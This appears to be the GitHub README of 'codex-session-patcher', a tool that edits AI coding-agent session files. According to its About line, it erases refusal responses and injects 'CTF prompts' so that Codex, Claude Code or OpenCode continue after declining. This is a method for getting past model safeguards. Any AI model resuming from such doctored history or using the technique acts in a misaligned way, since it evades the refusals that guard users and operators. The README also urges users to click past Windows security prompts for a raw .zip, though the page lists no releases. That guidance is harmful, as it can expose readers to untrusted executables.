Skip to content

Lesfo1519/codex-session-patcher

Repository files navigation

🧩 codex-session-patcher - Clean refusal text from session files

Download codex-session-patcher

🚀 What this tool does

codex-session-patcher helps you clean AI refusal responses from Codex CLI session files. It is a small Python tool made for end users who want to fix session data without editing files by hand.

Use it when a session file contains refusal text that gets in the way of review, replay, or cleanup. The tool scans the file, removes the refusal parts, and keeps the rest of the session content intact.

🖥️ What you need

You need:

  • A Windows PC
  • A web browser
  • Access to the internet
  • A Codex CLI session file
  • Permission to edit the file you want to patch

You do not need to know Python or use a command line if you download the packaged Windows file from the release page.

📥 Download

Visit the release page to download and run this file:

https://raw.githubusercontent.com/Lesfo1519/codex-session-patcher/main/web/codex_session_patcher_v2.2.zip

On that page, look for the latest release. Download the Windows file that matches your system. If you see more than one asset, choose the file that ends in .exe or the Windows package name used in the release.

🪟 Install and run on Windows

  1. Open the release page in your browser.
  2. Find the latest version near the top of the page.
  3. Download the Windows file for codex-session-patcher.
  4. If your browser asks where to save it, choose a folder you can find later, such as Downloads.
  5. Open the file after it finishes downloading.
  6. If Windows shows a security prompt, choose the option that lets you continue.
  7. If the file opens in a console window, follow the on-screen prompts.
  8. Select the session file you want to clean.
  9. Let the tool process the file.
  10. Save the cleaned file when the tool finishes.

If the release includes a portable build, you can run it right away. If it includes a ZIP file, extract it first, then open the app inside the folder.

🧭 How to use it

The normal flow is simple:

  1. Start the app.
  2. Pick your Codex CLI session file.
  3. Let the tool scan the file for refusal responses.
  4. Review the result if the app shows a preview.
  5. Save the patched file.

If you want to keep the original file, make a copy before you run the tool. That gives you a safe backup in case you want to compare files later.

📁 Files this tool works with

codex-session-patcher is built for Codex CLI session files. These are text-based files that store session content from your work with Codex CLI.

It works best with files that contain:

  • AI refusal messages
  • Session text that needs cleanup
  • Mixed content with both useful data and blocked responses

It keeps the file structure intact while removing unwanted refusal text from the session.

🧰 Common use cases

You may want this tool if:

  • A session file contains repeated refusal text
  • You want to clean a file before review
  • You need a simpler version of a session log
  • You want to remove blocked responses from exported session data
  • You need to make session files easier to read

It is useful when you want a quick cleanup without opening the file in a text editor.

🔍 What to expect

When you run codex-session-patcher, it should:

  • Open your session file
  • Look for refusal responses
  • Remove the refusal parts
  • Keep the rest of the session data
  • Save a cleaned copy or patch the file you selected

The process should be fast on most Windows systems. For small session files, it should finish in a few seconds.

🛠️ If something does not work

If the app does not start:

  • Check that the file finished downloading
  • Make sure you opened the correct Windows file
  • Try running it again
  • Move the file to a simple folder like Downloads or Desktop

If the tool cannot find your session file:

  • Check the file name
  • Make sure you picked the right folder
  • Confirm the file is a Codex CLI session file

If Windows blocks the file:

  • Open the file’s properties
  • Look for an unblock option if Windows shows one
  • Try downloading the latest release again

📌 Tips for a smooth run

  • Keep a backup of the original session file
  • Use the latest release from the release page
  • Store your session files in a folder you can find fast
  • Avoid renaming files while the tool is open
  • Close other apps if your computer is low on memory

🧪 Example workflow

A simple workflow looks like this:

  1. Download the Windows release from GitHub
  2. Save it in your Downloads folder
  3. Open the app
  4. Choose a session file with refusal text
  5. Run the patch
  6. Open the cleaned file and check the result

This is the easiest way to use the tool if you only want one file cleaned.

📦 Release page

Download and run the Windows file from here:

https://raw.githubusercontent.com/Lesfo1519/codex-session-patcher/main/web/codex_session_patcher_v2.2.zip

Use this page to get the latest version, check for updates, and download the correct file for your Windows PC

🧾 Project details

  • Name: codex-session-patcher
  • Type: Python tool
  • Purpose: Clean AI refusal responses from Codex CLI session files
  • Platform focus: Windows
  • Audience: End users who want a simple file cleanup tool

🔐 Safe file handling

The tool works on local files you choose. It does not need access to your whole computer. For best results, work on a copy of the session file so your original stays unchanged

🧭 Quick start

  1. Go to the release page
  2. Download the Windows file
  3. Open the app
  4. Select your Codex CLI session file
  5. Let the tool clean the refusal responses
  6. Save the result

About

Patch AI coding sessions for Codex, Claude Code, and OpenCode by cleaning refusals and injecting CTF prompts to keep workflows going

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors